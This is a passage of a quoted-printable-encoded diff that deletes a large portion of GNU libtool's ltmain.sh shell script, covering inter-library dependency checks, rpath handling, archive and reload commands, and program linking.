-=09 *-*-netbsd*) -=09 # Don't link with libc until the a.out ld.so is fixed. -=09 ;; -=09 *-*-openbsd* | *-*-freebsd*) -=09 # Do not include libc due to us having libc/libc_r. -=09 test "X$arg" =3D "X-lc" && continue -=09 ;; - =09 *) -=09 # Add libc to deplibs on all other systems if necessary. -=09 if test "$build_libtool_need_lc" =3D "yes"; then -=09 deplibs=3D"$deplibs -lc" -=09 fi -=09 ;; -=09 esac -=09fi - -=09# Transform deplibs into only deplibs that can be linked in shared. -=09name_save=3D$name -=09libname_save=3D$libname -=09release_save=3D$release -=09versuffix_save=3D$versuffix -=09major_save=3D$major -=09# I'm not sure if I'm treating the release correctly. I think -=09# release should show up in the -l (ie -lgmp5) so we don't want to -=09# add it in twice. Is that correct? -=09release=3D"" -=09versuffix=3D"" -=09major=3D"" -=09newdeplibs=3D -=09droppeddeps=3Dno -=09case $deplibs_check_method in -=09pass_all) -=09 # Don't check for shared/static. Everything works. -=09 # This might be a little naive. We might want to check -=09 # whether the library exists or not. But this is on -=09 # osf3 & osf4 and I'm not really sure... Just -=09 # implementing what was already the behavior. -=09 newdeplibs=3D$deplibs -=09 ;; -=09test_compile) -=09 # This code stresses the "libraries are programs" paradigm to its -=09 # limits. Maybe even breaks it. We compile a program, linking it -=09 # against the deplibs as a proxy for the library. Then we can ch= eck -=09 # whether they linked in statically or dynamically with ldd. -=09 $rm conftest.c -=09 cat > conftest.c </dev/null` -=09=09 for potent_lib in $potential_libs; do -=09=09 # Follow soft links. -=09=09 if ls -lLd "$potent_lib" 2>/dev/null \ -=09=09=09 | grep " -> " >/dev/null; then -=09=09=09continue -=09=09 fi -=09=09 # The statement above tries to avoid entering an -=09=09 # endless loop below, in case of cyclic links. -=09=09 # We might still enter an endless loop, since a link -=09=09 # loop can be closed while we follow links, -=09=09 # but so what? -=09=09 potlib=3D"$potent_lib" -=09=09 while test -h "$potlib" 2>/dev/null; do -=09=09=09potliblink=3D`ls -ld $potlib | ${SED} 's/.* -> //'` -=09=09=09case $potliblink in -=09=09=09[\\/]* | [A-Za-z]:[\\/]*) potlib=3D"$potliblink";; -=09=09=09*) potlib=3D`$echo "X$potlib" | $Xsed -e 's,[^/]*$,,'`"$potli= blink";; -=09=09=09esac -=09=09 done -=09=09 if eval $file_magic_cmd \"\$potlib\" 2>/dev/null \ -=09=09=09 | ${SED} 10q \ -=09=09=09 | $EGREP "$file_magic_regex" > /dev/null; then -=09=09=09newdeplibs=3D"$newdeplibs $a_deplib" -=09=09=09a_deplib=3D"" -=09=09=09break 2 -=09=09 fi -=09=09 done -=09=09done -=09 fi -=09 if test -n "$a_deplib" ; then -=09=09droppeddeps=3Dyes -=09=09$echo -=09=09$echo "*** Warning: linker path does not have real file for libr= ary $a_deplib." -=09=09$echo "*** I have the capability to make that library automatica= lly link in when" -=09=09$echo "*** you link to this library. But I can only do this if = you have a" -=09=09$echo "*** shared version of the library, which you do not appea= r to have" -=09=09$echo "*** because I did check the linker path looking for a fil= e starting" -=09=09if test -z "$potlib" ; then -=09=09 $echo "*** with $libname but no candidates were found. (...for= file magic test)" -=09=09else -=09=09 $echo "*** with $libname and none of the candidates passed a f= ile format test" -=09=09 $echo "*** using a file magic. Last file checked: $potlib" -=09=09fi -=09 fi -=09 else -=09 # Add a -L argument. -=09 newdeplibs=3D"$newdeplibs $a_deplib" -=09 fi -=09 done # Gone through all deplibs. -=09 ;; -=09match_pattern*) -=09 set dummy $deplibs_check_method -=09 match_pattern_regex=3D`expr "$deplibs_check_method" : "$2 \(.*\)"= ` -=09 for a_deplib in $deplibs; do -=09 name=3D"`expr $a_deplib : '-l\(.*\)'`" -=09 # If $name is empty we are operating on a -L argument. -=09 if test -n "$name" && test "$name" !=3D "0"; then -=09 if test "X$allow_libtool_libs_with_static_runtimes" =3D "Xyes= " ; then -=09=09case " $predeps $postdeps " in -=09=09*" $a_deplib "*) -=09=09 newdeplibs=3D"$newdeplibs $a_deplib" -=09=09 a_deplib=3D"" -=09=09 ;; -=09=09esac -=09 fi -=09 if test -n "$a_deplib" ; then -=09=09libname=3D`eval \\$echo \"$libname_spec\"` -=09=09for i in $lib_search_path $sys_lib_search_path $shlib_search_pat= h; do -=09=09 potential_libs=3D`ls $i/$libname[.-]* 2>/dev/null` -=09=09 for potent_lib in $potential_libs; do -=09=09 potlib=3D"$potent_lib" # see symlink-check above in file_mag= ic test -=09=09 if eval $echo \"$potent_lib\" 2>/dev/null \ -=09=09 | ${SED} 10q \ -=09=09 | $EGREP "$match_pattern_regex" > /dev/null; then -=09=09 newdeplibs=3D"$newdeplibs $a_deplib" -=09=09 a_deplib=3D"" -=09=09 break 2 -=09=09 fi -=09=09 done -=09=09done -=09 fi -=09 if test -n "$a_deplib" ; then -=09=09droppeddeps=3Dyes -=09=09$echo -=09=09$echo "*** Warning: linker path does not have real file for libr= ary $a_deplib." -=09=09$echo "*** I have the capability to make that library automatica= lly link in when" -=09=09$echo "*** you link to this library. But I can only do this if = you have a" -=09=09$echo "*** shared version of the library, which you do not appea= r to have" -=09=09$echo "*** because I did check the linker path looking for a fil= e starting" -=09=09if test -z "$potlib" ; then -=09=09 $echo "*** with $libname but no candidates were found. (...for= regex pattern test)" -=09=09else -=09=09 $echo "*** with $libname and none of the candidates passed a f= ile format test" -=09=09 $echo "*** using a regex pattern. Last file checked: $potlib" -=09=09fi -=09 fi -=09 else -=09 # Add a -L argument. -=09 newdeplibs=3D"$newdeplibs $a_deplib" -=09 fi -=09 done # Gone through all deplibs. -=09 ;; -=09none | unknown | *) -=09 newdeplibs=3D"" -=09 tmp_deplibs=3D`$echo "X $deplibs" | $Xsed -e 's/ -lc$//' \ -=09 -e 's/ -[LR][^ ]*//g'` -=09 if test "X$allow_libtool_libs_with_static_runtimes" =3D "Xyes" ; = then -=09 for i in $predeps $postdeps ; do -=09 # can't use Xsed below, because $i might contain '/' -=09 tmp_deplibs=3D`$echo "X $tmp_deplibs" | ${SED} -e "1s,^X,," -= e "s,$i,,"` -=09 done -=09 fi -=09 if $echo "X $tmp_deplibs" | $Xsed -e 's/[ =09]//g' \ -=09 | grep . >/dev/null; then -=09 $echo -=09 if test "X$deplibs_check_method" =3D "Xnone"; then -=09 $echo "*** Warning: inter-library dependencies are not suppor= ted in this platform." -=09 else -=09 $echo "*** Warning: inter-library dependencies are not known = to be supported." -=09 fi -=09 $echo "*** All declared inter-library dependencies are being dr= opped." -=09 droppeddeps=3Dyes -=09 fi -=09 ;; -=09esac -=09versuffix=3D$versuffix_save -=09major=3D$major_save -=09release=3D$release_save -=09libname=3D$libname_save -=09name=3D$name_save - -=09case $host in -=09*-*-rhapsody* | *-*-darwin1.[012]) -=09 # On Rhapsody replace the C library is the System framework -=09 newdeplibs=3D`$echo "X $newdeplibs" | $Xsed -e 's/ -lc / -framewo= rk System /'` -=09 ;; -=09esac - -=09if test "$droppeddeps" =3D yes; then -=09 if test "$module" =3D yes; then -=09 $echo -=09 $echo "*** Warning: libtool could not satisfy all declared inte= r-library" -=09 $echo "*** dependencies of module $libname. Therefore, libtool= will create" -=09 $echo "*** a static module, that should work as long as the dlo= pening" -=09 $echo "*** application is linked with the -dlopen flag." -=09 if test -z "$global_symbol_pipe"; then -=09 $echo -=09 $echo "*** However, this would only work if libtool was able = to extract symbol" -=09 $echo "*** lists from a program, using \`nm' or equivalent, b= ut libtool could" -=09 $echo "*** not find such a program. So, this module is proba= bly useless." -=09 $echo "*** \`nm' from GNU binutils and a full rebuild may hel= p." -=09 fi -=09 if test "$build_old_libs" =3D no; then -=09 oldlibs=3D"$output_objdir/$libname.$libext" -=09 build_libtool_libs=3Dmodule -=09 build_old_libs=3Dyes -=09 else -=09 build_libtool_libs=3Dno -=09 fi -=09 else -=09 $echo "*** The inter-library dependencies that have been droppe= d here will be" -=09 $echo "*** automatically added whenever a program is linked wit= h this library" -=09 $echo "*** or is declared to -dlopen it." - -=09 if test "$allow_undefined" =3D no; then -=09 $echo -=09 $echo "*** Since this library must not contain undefined symb= ols," -=09 $echo "*** because either the platform does not support them = or" -=09 $echo "*** it was explicitly requested with -no-undefined," -=09 $echo "*** libtool will only create a static version of it." -=09 if test "$build_old_libs" =3D no; then -=09=09oldlibs=3D"$output_objdir/$libname.$libext" -=09=09build_libtool_libs=3Dmodule -=09=09build_old_libs=3Dyes -=09 else -=09=09build_libtool_libs=3Dno -=09 fi -=09 fi -=09 fi -=09fi -=09# Done checking deplibs! -=09deplibs=3D$newdeplibs - fi - - # All the library-specific variables (install_libdir is set abov= e). - library_names=3D - old_library=3D - dlname=3D - - # Test again, we may have decided not to build it any more - if test "$build_libtool_libs" =3D yes; then -=09if test "$hardcode_into_libs" =3D yes; then -=09 # Hardcode the library paths -=09 hardcode_libdirs=3D -=09 dep_rpath=3D -=09 rpath=3D"$finalize_rpath" -=09 test "$mode" !=3D relink && rpath=3D"$compile_rpath$rpath" -=09 for libdir in $rpath; do -=09 if test -n "$hardcode_libdir_flag_spec"; then -=09 if test -n "$hardcode_libdir_separator"; then -=09=09if test -z "$hardcode_libdirs"; then -=09=09 hardcode_libdirs=3D"$libdir" -=09=09else -=09=09 # Just accumulate the unique libdirs. -=09=09 case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libd= ir_separator in -=09=09 *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"= *) -=09=09 ;; -=09=09 *) -=09=09 hardcode_libdirs=3D"$hardcode_libdirs$hardcode_libdir_separa= tor$libdir" -=09=09 ;; -=09=09 esac -=09=09fi -=09 else -=09=09eval flag=3D\"$hardcode_libdir_flag_spec\" -=09=09dep_rpath=3D"$dep_rpath $flag" -=09 fi -=09 elif test -n "$runpath_var"; then -=09 case "$perm_rpath " in -=09 *" $libdir "*) ;; -=09 *) perm_rpath=3D"$perm_rpath $libdir" ;; -=09 esac -=09 fi -=09 done -=09 # Substitute the hardcoded libdirs into the rpath. -=09 if test -n "$hardcode_libdir_separator" && -=09 test -n "$hardcode_libdirs"; then -=09 libdir=3D"$hardcode_libdirs" -=09 if test -n "$hardcode_libdir_flag_spec_ld"; then -=09 eval dep_rpath=3D\"$hardcode_libdir_flag_spec_ld\" -=09 else -=09 eval dep_rpath=3D\"$hardcode_libdir_flag_spec\" -=09 fi -=09 fi -=09 if test -n "$runpath_var" && test -n "$perm_rpath"; then -=09 # We should set the runpath_var. -=09 rpath=3D -=09 for dir in $perm_rpath; do -=09 rpath=3D"$rpath$dir:" -=09 done -=09 eval "$runpath_var=3D'$rpath\$$runpath_var'; export $runpath_va= r" -=09 fi -=09 test -n "$dep_rpath" && deplibs=3D"$dep_rpath $deplibs" -=09fi - -=09shlibpath=3D"$finalize_shlibpath" -=09test "$mode" !=3D relink && shlibpath=3D"$compile_shlibpath$shlibpa= th" -=09if test -n "$shlibpath"; then -=09 eval "$shlibpath_var=3D'$shlibpath\$$shlibpath_var'; export $shli= bpath_var" -=09fi - -=09# Get the real and link names of the library. -=09eval shared_ext=3D\"$shrext_cmds\" -=09eval library_names=3D\"$library_names_spec\" -=09set dummy $library_names -=09realname=3D"$2" -=09shift; shift - -=09if test -n "$soname_spec"; then -=09 eval soname=3D\"$soname_spec\" -=09else -=09 soname=3D"$realname" -=09fi -=09if test -z "$dlname"; then -=09 dlname=3D$soname -=09fi - -=09lib=3D"$output_objdir/$realname" -=09for link -=09do -=09 linknames=3D"$linknames $link" -=09done - -=09# Use standard objects if they are pic -=09test -z "$pic_flag" && libobjs=3D`$echo "X$libobjs" | $SP2NL | $Xse= d -e "$lo2o" | $NL2SP` - -=09# Prepare the list of exported symbols -=09if test -z "$export_symbols"; then -=09 if test "$always_export_symbols" =3D yes || test -n "$export_symb= ols_regex"; then -=09 $show "generating symbol list for \`$libname.la'" -=09 export_symbols=3D"$output_objdir/$libname.exp" -=09 $run $rm $export_symbols -=09 cmds=3D$export_symbols_cmds -=09 save_ifs=3D"$IFS"; IFS=3D'~' -=09 for cmd in $cmds; do -=09 IFS=3D"$save_ifs" -=09 eval cmd=3D\"$cmd\" -=09 if len=3D`expr "X$cmd" : ".*"` && -=09 test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1= ; then -=09 $show "$cmd" -=09 $run eval "$cmd" || exit $? -=09 skipped_export=3Dfalse -=09 else -=09 # The command line is too long to execute in one step. -=09 $show "using reloadable object file for export list..." -=09 skipped_export=3D: -=09 fi -=09 done -=09 IFS=3D"$save_ifs" -=09 if test -n "$export_symbols_regex"; then -=09 $show "$EGREP -e \"$export_symbols_regex\" \"$export_symbols\= " > \"${export_symbols}T\"" -=09 $run eval '$EGREP -e "$export_symbols_regex" "$export_symbols= " > "${export_symbols}T"' -=09 $show "$mv \"${export_symbols}T\" \"$export_symbols\"" -=09 $run eval '$mv "${export_symbols}T" "$export_symbols"' -=09 fi -=09 fi -=09fi - -=09if test -n "$export_symbols" && test -n "$include_expsyms"; then -=09 $run eval '$echo "X$include_expsyms" | $SP2NL >> "$export_symbols= "' -=09fi - -=09tmp_deplibs=3D -=09for test_deplib in $deplibs; do -=09=09case " $convenience " in -=09=09*" $test_deplib "*) ;; -=09=09*) -=09=09=09tmp_deplibs=3D"$tmp_deplibs $test_deplib" -=09=09=09;; -=09=09esac -=09done -=09deplibs=3D"$tmp_deplibs" - -=09if test -n "$convenience"; then -=09 if test -n "$whole_archive_flag_spec"; then -=09 save_libobjs=3D$libobjs -=09 eval libobjs=3D\"\$libobjs $whole_archive_flag_spec\" -=09 else -=09 gentop=3D"$output_objdir/${outputname}x" -=09 generated=3D"$generated $gentop" - -=09 func_extract_archives $gentop $convenience -=09 libobjs=3D"$libobjs $func_extract_archives_result" -=09 fi -=09fi -=09 -=09if test "$thread_safe" =3D yes && test -n "$thread_safe_flag_spec";= then -=09 eval flag=3D\"$thread_safe_flag_spec\" -=09 linker_flags=3D"$linker_flags $flag" -=09fi - -=09# Make a backup of the uninstalled library when relinking -=09if test "$mode" =3D relink; then -=09 $run eval '(cd $output_objdir && $rm ${realname}U && $mv $realnam= e ${realname}U)' || exit $? -=09fi - -=09# Do each of the archive commands. -=09if test "$module" =3D yes && test -n "$module_cmds" ; then -=09 if test -n "$export_symbols" && test -n "$module_expsym_cmds"; th= en -=09 eval test_cmds=3D\"$module_expsym_cmds\" -=09 cmds=3D$module_expsym_cmds -=09 else -=09 eval test_cmds=3D\"$module_cmds\" -=09 cmds=3D$module_cmds -=09 fi -=09else -=09if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; the= n -=09 eval test_cmds=3D\"$archive_expsym_cmds\" -=09 cmds=3D$archive_expsym_cmds -=09else -=09 eval test_cmds=3D\"$archive_cmds\" -=09 cmds=3D$archive_cmds -=09 fi -=09fi - -=09if test "X$skipped_export" !=3D "X:" && len=3D`expr "X$test_cmds" := ".*"` && -=09 test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; th= en -=09 : -=09else -=09 # The command line is too long to link in one step, link piecewis= e. -=09 $echo "creating reloadable object files..." - -=09 # Save the value of $output and $libobjs because we want to -=09 # use them later. If we have whole_archive_flag_spec, we -=09 # want to use save_libobjs as it was before -=09 # whole_archive_flag_spec was expanded, because we can't -=09 # assume the linker understands whole_archive_flag_spec. -=09 # This may have to be revisited, in case too many -=09 # convenience libraries get linked in and end up exceeding -=09 # the spec. -=09 if test -z "$convenience" || test -z "$whole_archive_flag_spec"; = then -=09 save_libobjs=3D$libobjs -=09 fi -=09 save_output=3D$output - -=09 # Clear the reloadable object creation command queue and -=09 # initialize k to one. -=09 test_cmds=3D -=09 concat_cmds=3D -=09 objlist=3D -=09 delfiles=3D -=09 last_robj=3D -=09 k=3D1 -=09 output=3D$output_objdir/$save_output-${k}.$objext -=09 # Loop over the list of objects to be linked. -=09 for obj in $save_libobjs -=09 do -=09 eval test_cmds=3D\"$reload_cmds $objlist $last_robj\" -=09 if test "X$objlist" =3D X || -=09 { len=3D`expr "X$test_cmds" : ".*"` && -=09=09 test "$len" -le "$max_cmd_len"; }; then -=09 objlist=3D"$objlist $obj" -=09 else -=09 # The command $test_cmds is almost too long, add a -=09 # command to the queue. -=09 if test "$k" -eq 1 ; then -=09=09# The first file doesn't have a previous command to add. -=09=09eval concat_cmds=3D\"$reload_cmds $objlist $last_robj\" -=09 else -=09=09# All subsequent reloadable object files will link in -=09=09# the last one created. -=09=09eval concat_cmds=3D\"\$concat_cmds~$reload_cmds $objlist $last_r= obj\" -=09 fi -=09 last_robj=3D$output_objdir/$save_output-${k}.$objext -=09 k=3D`expr $k + 1` -=09 output=3D$output_objdir/$save_output-${k}.$objext -=09 objlist=3D$obj -=09 len=3D1 -=09 fi -=09 done -=09 # Handle the remaining objects by creating one last -=09 # reloadable object file. All subsequent reloadable object -=09 # files will link in the last one created. -=09 test -z "$concat_cmds" || concat_cmds=3D$concat_cmds~ -=09 eval concat_cmds=3D\"\${concat_cmds}$reload_cmds $objlist $last_r= obj\" - -=09 if ${skipped_export-false}; then -=09 $show "generating symbol list for \`$libname.la'" -=09 export_symbols=3D"$output_objdir/$libname.exp" -=09 $run $rm $export_symbols -=09 libobjs=3D$output -=09 # Append the command to create the export file. -=09 eval concat_cmds=3D\"\$concat_cmds~$export_symbols_cmds\" - fi - -=09 # Set up a command to remove the reloadale object files -=09 # after they are used. -=09 i=3D0 -=09 while test "$i" -lt "$k" -=09 do -=09 i=3D`expr $i + 1` -=09 delfiles=3D"$delfiles $output_objdir/$save_output-${i}.$objext" -=09 done - -=09 $echo "creating a temporary reloadable object file: $output" - -=09 # Loop through the commands generated above and execute them. -=09 save_ifs=3D"$IFS"; IFS=3D'~' -=09 for cmd in $concat_cmds; do -=09 IFS=3D"$save_ifs" -=09 $show "$cmd" -=09 $run eval "$cmd" || exit $? -=09 done -=09 IFS=3D"$save_ifs" - -=09 libobjs=3D$output -=09 # Restore the value of output. -=09 output=3D$save_output - -=09 if test -n "$convenience" && test -n "$whole_archive_flag_spec"; = then -=09 eval libobjs=3D\"\$libobjs $whole_archive_flag_spec\" -=09 fi -=09 # Expand the library linking commands again to reset the -=09 # value of $libobjs for piecewise linking. - -=09 # Do each of the archive commands. -=09 if test "$module" =3D yes && test -n "$module_cmds" ; then -=09 if test -n "$export_symbols" && test -n "$module_expsym_cmds"; = then -=09 cmds=3D$module_expsym_cmds -=09 else -=09 cmds=3D$module_cmds -=09 fi -=09 else -=09 if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; t= hen -=09 cmds=3D$archive_expsym_cmds -=09 else -=09 cmds=3D$archive_cmds -=09 fi -=09 fi - -=09 # Append the command to remove the reloadable object files -=09 # to the just-reset $cmds. -=09 eval cmds=3D\"\$cmds~\$rm $delfiles\" -=09fi -=09save_ifs=3D"$IFS"; IFS=3D'~' -=09for cmd in $cmds; do -=09 IFS=3D"$save_ifs" -=09 eval cmd=3D\"$cmd\" -=09 $show "$cmd" -=09 $run eval "$cmd" || exit $? -=09done -=09IFS=3D"$save_ifs" - -=09# Restore the uninstalled library and exit -=09if test "$mode" =3D relink; then -=09 $run eval '(cd $output_objdir && $rm ${realname}T && $mv $realnam= e ${realname}T && $mv "$realname"U $realname)' || exit $? -=09 exit $EXIT_SUCCESS -=09fi - -=09# Create links to the real library. -=09for linkname in $linknames; do -=09 if test "$realname" !=3D "$linkname"; then -=09 $show "(cd $output_objdir && $rm $linkname && $LN_S $realname $= linkname)" -=09 $run eval '(cd $output_objdir && $rm $linkname && $LN_S $realna= me $linkname)' || exit $? -=09 fi -=09done - -=09# If -module or -export-dynamic was specified, set the dlname. -=09if test "$module" =3D yes || test "$export_dynamic" =3D yes; then -=09 # On all known operating systems, these are identical. -=09 dlname=3D"$soname" -=09fi - fi - ;; - - obj) - if test -n "$deplibs"; then -=09$echo "$modename: warning: \`-l' and \`-L' are ignored for objects"= 1>&2 - fi - - if test -n "$dlfiles$dlprefiles" || test "$dlself" !=3D no; then -=09$echo "$modename: warning: \`-dlopen' is ignored for objects" 1>&2 - fi - - if test -n "$rpath"; then -=09$echo "$modename: warning: \`-rpath' is ignored for objects" 1>&2 - fi - - if test -n "$xrpath"; then -=09$echo "$modename: warning: \`-R' is ignored for objects" 1>&2 - fi - - if test -n "$vinfo"; then -=09$echo "$modename: warning: \`-version-info' is ignored for objects"= 1>&2 - fi - - if test -n "$release"; then -=09$echo "$modename: warning: \`-release' is ignored for objects" 1>&2 - fi - - case $output in - *.lo) -=09if test -n "$objs$old_deplibs"; then -=09 $echo "$modename: cannot build library object \`$output' from non= -libtool objects" 1>&2 -=09 exit $EXIT_FAILURE -=09fi -=09libobj=3D"$output" -=09obj=3D`$echo "X$output" | $Xsed -e "$lo2o"` -=09;; - *) -=09libobj=3D -=09obj=3D"$output" -=09;; - esac - - # Delete the old objects. - $run $rm $obj $libobj - - # Objects from convenience libraries. This assumes - # single-version convenience libraries. Whenever we create - # different ones for PIC/non-PIC, this we'll have to duplicate - # the extraction. - reload_conv_objs=3D - gentop=3D - # reload_cmds runs $LD directly, so let us get rid of - # -Wl from whole_archive_flag_spec - wl=3D - - if test -n "$convenience"; then -=09if test -n "$whole_archive_flag_spec"; then -=09 eval reload_conv_objs=3D\"\$reload_objs $whole_archive_flag_spec\= " -=09else -=09 gentop=3D"$output_objdir/${obj}x" -=09 generated=3D"$generated $gentop" - -=09 func_extract_archives $gentop $convenience -=09 reload_conv_objs=3D"$reload_objs $func_extract_archives_result" -=09fi - fi - - # Create the old-style object. - reload_objs=3D"$objs$old_deplibs "`$echo "X$libobjs" | $SP2NL | = $Xsed -e '/\.'${libext}$'/d' -e '/\.lib$/d' -e "$lo2o" | $NL2SP`" $relo= ad_conv_objs" ### testsuite: skip nested quoting test - - output=3D"$obj" - cmds=3D$reload_cmds - save_ifs=3D"$IFS"; IFS=3D'~' - for cmd in $cmds; do -=09IFS=3D"$save_ifs" -=09eval cmd=3D\"$cmd\" -=09$show "$cmd" -=09$run eval "$cmd" || exit $? - done - IFS=3D"$save_ifs" - - # Exit if we aren't doing a library object file. - if test -z "$libobj"; then -=09if test -n "$gentop"; then -=09 $show "${rm}r $gentop" -=09 $run ${rm}r $gentop -=09fi - -=09exit $EXIT_SUCCESS - fi - - if test "$build_libtool_libs" !=3D yes; then -=09if test -n "$gentop"; then -=09 $show "${rm}r $gentop" -=09 $run ${rm}r $gentop -=09fi - -=09# Create an invalid libtool object if no PIC, so that we don't -=09# accidentally link it into a program. -=09# $show "echo timestamp > $libobj" -=09# $run eval "echo timestamp > $libobj" || exit $? -=09exit $EXIT_SUCCESS - fi - - if test -n "$pic_flag" || test "$pic_mode" !=3D default; then -=09# Only do commands if we really have different PIC objects. -=09reload_objs=3D"$libobjs $reload_conv_objs" -=09output=3D"$libobj" -=09cmds=3D$reload_cmds -=09save_ifs=3D"$IFS"; IFS=3D'~' -=09for cmd in $cmds; do -=09 IFS=3D"$save_ifs" -=09 eval cmd=3D\"$cmd\" -=09 $show "$cmd" -=09 $run eval "$cmd" || exit $? -=09done -=09IFS=3D"$save_ifs" - fi - - if test -n "$gentop"; then -=09$show "${rm}r $gentop" -=09$run ${rm}r $gentop - fi - - exit $EXIT_SUCCESS - ;; - - prog) - case $host in -=09*cygwin*) output=3D`$echo $output | ${SED} -e 's,.exe$,,;s,$,.exe,'= ` ;; - esac - if test -n "$vinfo"; then -=09$echo "$modename: warning: \`-version-info' is ignored for programs= " 1>&2 - fi - - if test -n "$release"; then -=09$echo "$modename: warning: \`-release' is ignored for programs" 1>&= 2 - fi - - if test "$preload" =3D yes; then -=09if test "$dlopen_support" =3D unknown && test "$dlopen_self" =3D un= known && -=09 test "$dlopen_self_static" =3D unknown; then -=09 $echo "$modename: warning: \`AC_LIBTOOL_DLOPEN' not used. Assumin= g no dlopen support." -=09fi - fi - - case $host in - *-*-rhapsody* | *-*-darwin1.[012]) -=09# On Rhapsody replace the C library is the System framework -=09compile_deplibs=3D`$echo "X $compile_deplibs" | $Xsed -e 's/ -lc / = -framework System /'` -=09finalize_deplibs=3D`$echo "X $finalize_deplibs" | $Xsed -e 's/ -lc = / -framework System /'` -=09;; - esac - - case $host in - *darwin*) - # Don't allow lazy linking, it breaks C++ global constructors - if test "$tagname" =3D CXX ; then - compile_command=3D"$compile_command ${wl}-bind_at_load" - finalize_command=3D"$finalize_command ${wl}-bind_at_load" - fi - ;; - esac - - compile_command=3D"$compile_command $compile_deplibs" - finalize_command=3D"$finalize_command $finalize_deplibs" - - if test -n "$rpath$xrpath"; then -=09# If the user specified any rpath flags, then add them. -=09for libdir in $rpath $xrpath; do -=09 # This is the magic to use -rpath. -=09 case "$finalize_rpath " in -=09 *" $libdir "*) ;; -=09 *) finalize_rpath=3D"$finalize_rpath $libdir" ;; -=09 esac -=09done - fi - - # Now hardcode the library paths - rpath=3D - hardcode_libdirs=3D - for libdir in $compile_rpath $finalize_rpath; do -=09if test -n "$hardcode_libdir_flag_spec"; then -=09 if test -n "$hardcode_libdir_separator"; then -=09 if test -z "$hardcode_libdirs"; then -=09 hardcode_libdirs=3D"$libdir" -=09 else -=09 # Just accumulate the unique libdirs. -=09 case $hardcode_libdir_separator$hardcode_libdirs$hardcode_lib= dir_separator in -=09 *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator= "*) -=09=09;; -=09 *) -=09=09hardcode_libdirs=3D"$hardcode_libdirs$hardcode_libdir_separator$= libdir" -=09=09;; -=09 esac -=09 fi -=09 else -=09 eval flag=3D\"$hardcode_libdir_flag_spec\" -=09 rpath=3D"$rpath $flag" -=09 fi -=09elif test -n "$runpath_var"; then -=09 case "$perm_rpath " in -=09 *" $libdir "*) ;; -=09 *) perm_rpath=3D"$perm_rpath $libdir" ;; -=09 esac -=09fi -=09case $host in -=09*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) -=09 case :$dllsearchpath: in -=09 *":$libdir:"*) ;; -=09 *) dllsearchpath=3D"$dllsearchpath:$libdir";; -=09 esac -=09 ;; -=09esac - done - # Substitute the hardcoded libdirs into the rpath. - if test -n "$hardcode_libdir_separator" && -=09 test -n "$hardcode_libdirs"; then -=09libdir=3D"$hardcode_libdirs" -=09eval rpath=3D\" $hardcode_libdir_flag_spec\" - fi - compile_rpath=3D"$rpath" - - rpath=3D - hardcode_libdirs=3D - for libdir in $finalize_rpath; do -=09if test -n "$hardcode_libdir_flag_spec"; then -=09 if test -n "$hardcode_libdir_separator"; then -=09 if test -z "$hardcode_libdirs"; then -=09 hardcode_libdirs=3D"$libdir" -=09 else -=09 # Just accumulate the unique libdirs. -=09 case $hardcode_libdir_separator$hardcode_libdirs$hardcode_lib= dir_separator in -=09 *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator= "*) -=09=09;; -=09 *) -=09=09hardcode_libdirs=3D"$hardcode_libdirs$hardcode_libdir_separator$= libdir" -=09=09;; -=09 esac -=09 fi -=09 else -=09 eval flag=3D\"$hardcode_libdir_flag_spec\" -=09 rpath=3D"$rpath $flag" -=09 fi -=09elif test -n "$runpath_var"; then -=09 case "$finalize_perm_rpath " in -=09 *" $libdir "*) ;; -=09 *) finalize_perm_rpath=3D"$finalize_perm_rpath $libdir" ;; -=09 esac -=09fi - done - # Substitute the hardcoded libdirs into the rpath. - if test -n "$hardcode_libdir_separator" && -=09 test -n "$hardcode_libdirs"; then -=09libdir=3D"$hardcode_libdirs" -=09eval rpath=3D\" $hardcode_libdir_flag_spec\" - fi - finalize_rpath=3D"$rpath" - - if test -n "$libobjs" && test "$build_old_libs" =3D yes; then -=09# Transform all the library objects into standard objects. -=09compile_command=3D`$echo "X$compile_command" | $SP2NL | $Xsed -e "$= lo2o" | $NL2SP` -=09finalize_command=3D`$echo "X$finalize_command" | $SP2NL | $Xsed -e = "$lo2o" | $NL2SP` - fi - - dlsyms=3D - if test -n "$dlfiles$dlprefiles" || test "$dlself" !=3D no; then -=09if test -n "$NM" && test -n "$global_symbol_pipe"; then -=09 dlsyms=3D"${outputname}S.c" -=09else -=09 $echo "$modename: not configured to extract global symbols from d= lpreopened files" 1>&2 -=09fi - fi - - if test -n "$dlsyms"; then -=09case $dlsyms in -=09"") ;; -=09*.c) -=09 # Discover the nlist of each of the dlfiles. -=09 nlist=3D"$output_objdir/${outputname}.nm" - -=09 $show "$rm $nlist ${nlist}S ${nlist}T" -=09 $run $rm "$nlist" "${nlist}S" "${nlist}T" - -=09 # Parse the name list into a source file. -=09 $show "creating $output_objdir/$dlsyms" - -=09 test -z "$run" && $echo > "$output_objdir/$dlsyms" "\ -/* $dlsyms - symbol resolution table for \`$outputname' dlsym emulatio= n. */ -/* Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP */ - -#ifdef __cplusplus -extern \"C\" { -#endif - -/* Prevent the only kind of declaration conflicts we can make. */ -#define lt_preloaded_symbols some_other_symbol - -/* External symbol declarations for the compiler. */\ -" - -=09 if test "$dlself" =3D yes; then -=09 $show "generating symbol list for \`$output'" - -=09 test -z "$run" && $echo ': @PROGRAM@ ' > "$nlist" - -=09 # Add our own program objects to the symbol list. -=09 progfiles=3D`$echo "X$objs$old_deplibs" | $SP2NL | $Xsed -e "$l= o2o" | $NL2SP` -=09 for arg in $progfiles; do -=09 $show "extracting global C symbols from \`$arg'" -=09 $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'" -=09 done - -=09 if test -n "$exclude_expsyms"; then -=09 $run eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlis= t"T' -=09 $run eval '$mv "$nlist"T "$nlist"' -=09 fi - -=09 if test -n "$export_symbols_regex"; then -=09 $run eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nli= st"T' -=09 $run eval '$mv "$nlist"T "$nlist"' -=09 fi - -=09 # Prepare the list of exported symbols -=09 if test -z "$export_symbols"; then -=09 